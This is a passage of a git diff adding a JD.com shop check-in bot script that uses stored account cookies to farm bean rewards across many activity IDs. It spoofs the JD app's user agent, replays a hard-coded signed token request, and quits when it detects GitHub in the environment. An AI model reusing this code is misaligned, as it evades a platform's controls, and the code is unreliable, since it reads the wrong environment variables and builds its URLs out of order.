this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_sevenDay.js b/jd_sevenDay.js new file mode 100644 index 0000000..cbf0783 --- /dev/null +++ b/jd_sevenDay.js @@ -0,0 +1,612 @@ +/* +TG https://t.me/duckjobs +github https://github.com/mmnvnmm/omo + +说明: 超级无线店铺签到 +不能并发,超级无线黑号不能跑,建议别跑太多号 +环境变量: +SEVENDAY_LIST,SEVENDAY_LIST2,SEVENDAY_LIST3 +0 0 * * * jd_sevenDay.js +*/ +const $ = new Env('超级无线店铺签到'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +// https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId= +let activityIdList = [ + 'eaf0e5313fa1484db90c3fc467af33e5', + 'f3207d49ac8e4fcfbd542befc1338916', + 'ba2d672b1fc44814aef1c3ee4c3ac5fa', + 'f46601936b40496b97a85de2b5ab97eb', + '13126645fcb2477fa1090a94cb7f3ca2', + '202f8daefb63452ebcdd68ef2d3db135', + '3a9885564c6a4633b55b6bfcd083d3a4', + 'e181d252d0354331ad6226c407745ad6', + '52a339445cba489f8df00cf18666d2be', + 'eaf0e5313fa1484db90c3fc467af33e5', +] +// https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId= +let activityIdList2 = [ + 'af38e0ae3c534e5882a2c29cbd08a355', + '478c9f15a4fc43f691db0451d956cfef', + 'b688a802471443d092343821a8403531', + 'ab51ff694beb41948a554aade50d5608', + '462aae0d426443cd962257afce4b760f', + 'c3fde07f69bb43e79f12686013b45f8b', + 'd7d28539c7e54d0896cec5089f1b82f2', + 'e170e27eb0374b01bfed88138a82f968', + 'bea32e6d4a6749ec98a990dbf276278f', + '7fb38e10addf49b487c84f579971cbd4', + '393ddb3a8ce04f19aed59fb458e2425f', + 'cbf22d6dfbde42ac98fb3f693530132e', + '2a20095bf87e408bb70fdf537ea3f57f', +] +let activityIdList3 = [ + '456de0f620024cbda71e9a9cbaaf95e1', + '0dee39bb7c9b48828d8cdc08af4875e7', +] +let lz_cookie = {} + +if (process.env.SEVENDAY_LIST && process.env.SEVENDAY_LIST != "") { + activityIdList = process.env.SEVENDAY_LIST.split(','); +} +if (process.env.SEVENDAY_LIST2 && process.env.SEVENDAY_LIST2 != "") { + activityIdList2 = process.env.SEVENDAY_LIST.split(','); +} +if (process.env.SEVENDAY_LIST3 && process.env.SEVENDAY_LIST3 != "") { + activityIdList3 = process.env.SEVENDAY_LIST.split(','); +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + console.log("签到类型1") + for(let a in activityIdList){ + $.activityUrl = `https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId=${$.activityId}&venderId=${$.venderId}&adsource=&sid=&un_area=` + $.activityId = activityIdList[a]; + await signActivity(); + await $.wait(2000) + } + console.log("签到类型2") + for(let a in activityIdList2){ + $.activityUrl = `https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId=${$.activityId}&venderId=${$.venderId}&adsource=&sid=&un_area=` + $.activityId = activityIdList2[a]; + await signActivity2(); + await $.wait(2000) + } + console.log("签到类型3") + for(let a in activityIdList3){ + $.activityUrl = `https://cjhy-isv.isvjcloud.com/sign/signActivity?activityId=${$.activityId}&venderId=${$.venderId}&adsource=&sid=&un_area=` + $.activityId = activityIdList3[a]; + await signActivity3(); + await $.wait(2000) + } + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function signActivity() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=${$.activityType}&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + console.log(`签到 -> ${$.activityId}`) + await task('sign/sevenDay/wx/signUp',`actId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`,1); + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +async function signActivity2() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=${$.activityType}&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + console.log(`签到 -> ${$.activityId}`) + await task('sign/wx/signUp',`actId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`,1); + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +async function signActivity3() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task2('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing2(); + if ($.secretPin) { + await task2('common/accessLogWithAD', `venderId=${$.venderId}&code=${$.activityType}&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + console.log(`签到 -> ${$.activityId}`) + await task2('sign/wx/signUp',`actId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`,1); + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + $.activityId = data.data.activityId; + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.shopId = data.data.shopId; + $.activityType = data.data.activityType; + break; + case 'sign/sevenDay/wx/signUp': + if(data){ + if (data.isOk) { + console.log("签到成功"); + if (data.signResult.giftName) { + console.log(data.signResult.giftName); + } + } else { + console.log(data.msg); + } + } + break + case 'sign/wx/signUp': + if(data){ + if (data.isOk) { + console.log("签到成功"); + if (data.gift.giftName) { + console.log(data.gift.giftName); + } + } else { + console.log(data.msg); + } + } + break + default: + $.log(JSON.stringify(data)) + break; + } + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function task2(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl2(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + $.activityId = data.data.activityId; + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.shopId = data.data.shopId; + $.activityType = data.data.activityType; + break; + case 'sign/sevenDay/wx/signUp': + if(data){ + if (data.isOk) { + console.log("签到成功"); + if (data.signResult.giftName) { + console.log(data.signResult.giftName); + } + } else { + console.log(data.msg); + } + } + break + case 'sign/wx/signUp': + if(data){ + if (data.isOk) { + console.log("签到成功"); + if (data.gift.giftName) { + console.log(data.gift.giftName); + } + } else { + console.log(data.msg); + } + } + break + default: + $.log(JSON.stringify(data)) + break; + } + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzkj-isv.isvjcloud.com/${function_id}` : `https://lzkj-isv.isvjcloud.com/sign/wx/${function_id}`, + headers: { + Host: 'lzkj-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkj-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function taskUrl2(function_id, body, isCommon) { + return { + url: isCommon ? `https://cjhy-isv.isvjcloud.com/${function_id}` : `https://cjhy-isv.isvjcloud.com/sign/wx/${function_id}`, + headers: { + Host: 'cjhy-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://cjhy-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzkj-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzkj-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkj-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.venderId}&token=${$.token}&fromType=APP` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getMyPing2() { + let opt = { + url: `https://cjhy-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'cjhy-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://cjhy-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.venderId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 